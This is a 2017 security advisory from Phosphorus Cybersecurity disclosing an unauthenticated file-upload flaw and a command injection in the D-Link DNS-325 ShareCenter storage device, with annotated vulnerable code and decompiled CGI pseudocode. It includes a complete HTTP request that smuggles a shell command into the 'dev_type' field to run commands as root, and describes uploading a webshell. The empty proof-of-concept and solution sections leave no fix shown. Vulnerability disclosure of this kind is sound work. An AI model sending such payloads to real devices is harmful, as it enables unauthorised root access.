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Phosphorus Cybersecurity, Inc.
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# D-Link DNS-325 ShareCenter Multiple Vulnerabilities #
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Released Date: 2017-XX-XX
Last Modified: 2017-06-22
Company Info: D-Link
Version Info:
Vulnerable
D-Link DNS-325 ShareCenter <= 1.05B03
--[ Table of contents
00 - Introduction
00.1 Background
01 - Unrestricted File Upload
01.1 - Vulnerable code analysis
01.2 - Remote exploitation
02 - Command Injection
02.1 - Vulnerable code analysis
02.2 - Remote exploitation
03 - Credit
04 - Proof of concept
05 - Solution
06 - Contact information
--[ 00 - Introduction
The purpose of this article is to detail the research that Phosphorus has
recently completed regarding the D-Link DNS 325 ShareCenter.
--[ 00.1 - Background
D-Link Share Center DNS-325 2-Bay Network Storage Enclosure is an easy to
use solution for accessing, sharing and backing up your important data.
--[ 01 - Unrestricted file upload
While researching the extent of a vulnerability previously discovered by
Phosphorus, team member Tanner Cavanaugh noticed that the DNS-325 device is
vulnerable to the same unrestricted file upload vulnerability as the other
device that we were researching. The vulnerable code can be found within
the following file:
/usr/local/modules/web/pages/jquery/uploader/multi_uploadify.php
The root of the problem here is due to the misuse and misunderstanding of
the PHP gethostbyaddr() function used within PHP, by the developer of this
particular piece of code. From the PHP manual this functions return values
are defined as the following for gethostbyaddr():
"Returns the host name on success, the unmodified ip_address on failure, or
FALSE on malformed input."
With a brief overview of the problem, let's have a look
at the offending code in order to get a better understanding of what is
going on with this particular vulnerability.
--[ 01.1 - Vulnerable code analysis
Below is the code from the vulnerable "multi_uploadify.php" script. You can
see that we have annoted the code to explain what is happening.
#BUG 01: Here the attacker controlled "Host" header is used to define the
remote auth server. This is by itself really bad, as an attacker could
easily just specify that the host be the IP address of a server that they
are in control of. But, if we send it an invalid "Host" header it will just
simply return FALSE as defined in the PHP manual.
$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri = $_REQUEST['redirect_uri'];
//echo $name ."<br>".$pwd."<br>".$ip;
#BUG 02: At this point, this request should always fail. The $result
variable should now be set to FALSE.
$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));
#BUG 03: Here an empty haystack is searched, and thus strstr() returns a
value of FALSE.
$result_1 = strstr($result,"<auth_status>0</auth_status>");
$result_1 = substr ($result_1, 0,28);
#BUG 04: The strncmp() call here is a strange one. It looks for a specific
login failure. So, it never accounts for when things go wrong or slightly
unexpected. As a result this "if" statement will always be skipped.
if (strncmp ($result_1,"<auth_status>0</auth_status>",28) == 0 )
//if (strstr($result,"<auth_status>0</auth_status>")== 0 )
{
header("HTTP/1.1 302 Found");
header("Location: ".$redirect_uri."?status=0");
exit();
}
#BUG 05: At this point all checks have been passed, and an attacker can use
this issue to upload any file to the server that they want.
The rest of the source code was omitted for the sake of breivity, but it
just handles the file upload logic once the user passes the authentication
checks.
--[ 01.2 - Remote exploitation
Exploiting this issue to gain a remote shell as root is a rather trivial
process. All an attacker has to do is send a post request that contains a
file to upload using the parameter "Filedata[0]", a location for the file
to be upload to which is specified within the "folder" parameter, and of
course a bogus "Host" header.
We have written a Metasploit module to exploit this issue. The module will
use this vulnerability to upload a PHP webshell to the "/var/www/"
directory. Once uploaded, the webshell can be executed by requesting a URI
pointing to the backdoor, and thus triggering the payload.
--[ 02 - Command Injection
There are a number of issues with the CGI's contained within the DNS-325
file structure. The issues that we came across over and over were lack of
authentication, as well as command injection. We will examine one of these
issues, and leave the others as an excercise to the reader.
--[ 02.1 - Vulnerable code analysis
The CGI binary named "photocenter_mgr.cgi" is vulnerable to a very straight
forward command injection issue when calling the "cgi_set_airplay_device"
function.
size_t cgi_set_airplay_device()
{
int v0; // r4@3
size_t v1; // r0@3
const char *v2; // r0@3
FILE *v3; // r5@5
char *v4; // r0@6
int v5; // r4@7
signed int v6; // r6@7
size_t result; // r0@13
FILE *v8; // r4@11
int v9; // [sp+10h] [bp-C84h]@1
int v10; // [sp+410h] [bp-884h]@1
int v11; // [sp+610h] [bp-684h]@1
int v12; // [sp+810h] [bp-484h]@1
char s; // [sp+A10h] [bp-284h]@1
char v14; // [sp+B10h] [bp-184h]@1
char v15; // [sp+B50h] [bp-144h]@1
char v16; // [sp+B90h] [bp-104h]@1
signed int v17; // [sp+B94h] [bp-100h]@2
signed int v18; // [sp+B98h] [bp-FCh]@2
signed int v19; // [sp+B9Ch] [bp-F8h]@2
int v20; // [sp+BA0h] [bp-F4h]@2
__int16 v21; // [sp+BA4h] [bp-F0h]@15
char v22; // [sp+BA6h] [bp-EEh]@15
char v23; // [sp+BD0h] [bp-C4h]@1
char v24; // [sp+C10h] [bp-84h]@1
int v25; // [sp+C50h] [bp-44h]@1
int v26; // [sp+C54h] [bp-40h]@1
char dest[4]; // [sp+C58h] [bp-3Ch]@1
int v28; // [sp+C5Ch] [bp-38h]@1
int v29; // [sp+C60h] [bp-34h]@1
int *v30; // [sp+C64h] [bp-30h]@1
memset(&s, 0, 0x100u);
memset(&v12, 0, 0x200u);
memset(&v24, 0, 0x40u);
memset(&v23, 0, 0x40u);
memset(&v11, 0, 0x200u);
v30 = 0;
memset(&v9, 0, 0x400u);
*(_DWORD *)dest = 0;
v28 = 0;
memset(&v10, 0, 0x200u);
v25 = 0;
v26 = 0;
memset(&v16, 0, 0x40u);
memset(&v15, 0, 0x40u);
memset(&v14, 0, 0x40u);
cgiFormString("dev_name", &s, 256);
cgiFormString("dev_type", &v24, 64);
cgiFormString("dev_pw", &v23, 64);
cgiFormString("type", &v25, 8);
v30 = &v12;
v29 = 512;
printf_out("dev_name=[%s]\n", &s);
printf_out("dev_type=[%s]\n", &v24);
printf_out("dev_pw=[%s]\n", &v23);
printf_out("type=[%s]\n", &v25);
if ( !strcmp((const char *)&v25, "photo") )
{
LOBYTE(v20) = 0;
*(_DWORD *)&v16 = 1886221359;
v17 = 1919508783;
v18 = 2036427888;
v19 = 1819113518;
}
else
{
*(_DWORD *)&v16 = 1886221359;
v17 = 'ria/';
v18 = 2036427888;
v19 = 1685414239;
v20 = 2016309097;
v22 = 0;
v21 = 'lm';
}
v0 = 0;
sprintf((char *)&v11, "rm -f %s", &v16);
system((const char *)&v11);
v1 = strlen(&s);
v2 = (const char *)escape_label(&s, v1, &v30, &v29);
cgi_api_SpecSymbol2BackSlash((char *)&v9, v2);
sprintf((char *)&v11, "airplayer -c connect -d \"%s\" -t \"%s\" %s >/dev/
null", &v9, &v24, &v23);
printf_out("[%s]\n", &v11);
system((const char *)&v11);
printf_out("filename[%s]\n", &v16);
while ( 1 )
{
++v0;
v3 = (FILE *)fopen64(&v16, "r");
if ( v3 )
break;
printf_out("wait[%d]\n");
sleep(1u);
if ( v0 == 30 )
{
v6 = (signed int)v3;
goto LABEL_9;
}
}
fgets(&v15, 512, v3);
fgets(&v15, 512, v3);
fgets(&v15, 512, v3);
fgets(&v14, 512, v3);
v4 = index(&v14, 62);
if ( v4 )
{
v5 = (int)(v4 + 1);
v6 = 1;
*index(v4 + 1, 60) = 0;
strcpy(dest, v4 + 1);
printf_out("res[%s]\n", v5);
}
else
{
v6 = 0;
}
fclose(v3);
LABEL_9:
sprintf(&v16, "/var/www/xml/airplay_info_%s.xml", &v25);
if ( dest[0] == 48 && !dest[1] )
{
v8 = (FILE *)fopen64(&v16, "w+");
fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", 1u, 0x26u, v8);
sprintf(
(char *)&v10,
"<airplay><dev><![CDATA[%s]]></dev><dtype>%s</dtype><dpw><![CDATA[%s]
]></dpw></airplay>",
&s,
&v24,
&v23);
fputs((const char *)&v10, v8);
fclose(v8);
}
cgiHeaderContentType("text/xml");
fwrite("<?xml version=\"1.0\" encoding=\"UTF-8\"?>", 1u, 0x26u, (FILE *)
cgiOut);
if ( v6 == 1 )
{
result = fprintf((FILE *)cgiOut, "<info><status>%s</status></info>",
dest);
}
else
{
system("kill `pidof airplay_daemon`");
result = fwrite("<info><status>timeout</status></info>", 1u, 0x25u,
(FILE *)cgiOut);
}
return result;
}
As we can see in the above psuedo code parameters taken from form input are
use directly within a system call without being sanitized. This can be
leveraged by an attacker to execute arbitrary commands as root.
Authentication is not required to exploit this issue.
--[ 02.2 - Remote exploitation
Exploiting this issue is trivial. Authentication is not required to
successfully exploit this issue and gain a remote root shell.
POST /cgi-bin/photocenter_mgr.cgi HTTP/1.1
Host: 192.168.0.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
cmd=cgi_set_airplay_device&dev_type=1";touch /tmp/phosphorus;"
Simply sending a post request like the one above will successfully create a
file named "phosphorus" in the /tmp directory as root.
--[ 03 - Credit
James Bercegay
GulfTech Research and Development
--[ 04 - Proof of concept
--[ 05 - Solution
--[ 06 - Contact information
Web
https://phosphorus.io/
Mail
security@phosphorus.io
PGP Key
http://www.phosphorus.io/pgp/security.asc
~FD57E42382AC18AF04ACE251FB2D3C27A67FC9EB
Copyright 2017 Phosphorus Cybersecurity, Inc. All rights reserved.
